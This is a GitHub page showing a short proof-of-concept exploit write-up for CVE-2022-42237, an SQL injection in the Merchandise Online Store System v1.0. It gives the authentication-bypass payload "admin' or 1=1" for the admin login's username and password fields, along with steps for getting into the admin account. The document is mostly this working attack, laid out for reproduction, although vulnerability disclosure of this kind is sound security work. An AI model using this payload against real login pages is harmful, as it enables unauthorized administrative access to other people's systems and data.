

main ▾

...

sqlinj / poc



draco1725 Update poc

[History](#)

1 contributor

31 lines (23 sloc) | 847 Bytes

...

```
1 # Exploit Title: Merchandise Online Store System - SQL Injection "Unauthorized Admin Access"
2 # Exploit Author: Pratik Shetty
3 # Vendor Name: oretnom23
4 # Vendor Homepage: https://www.sourcecodester.com/php/14887/merchandise-online-store-php-free-sour
5 # Software Link: https://www.sourcecodester.com/php/14887/merchandise-online-store-php-free-source
6 # Version: v1.0
7 # Tested on: Parrot GNU/Linux 4.10, Apache
8 # CVE: CVE-2022-42237
9
10
11 Description:-
12 An SQL injection issue in Merchandise Online Store System v.1.0 allows an attacker to logi in into
13
14
15 `
16 Payload used:-
17 admin' or 1=1
18
19 `
20 Parameter:-
21 Username and Password
22
23
24 `
25 Steps to reproduce:-
26
27 1. First go the admin login
28
29 2. From there in username and password put the payload
30
31 Payload:
```

30 admin' or 1=1

31 3. Now press enter and we get logged in into admin account

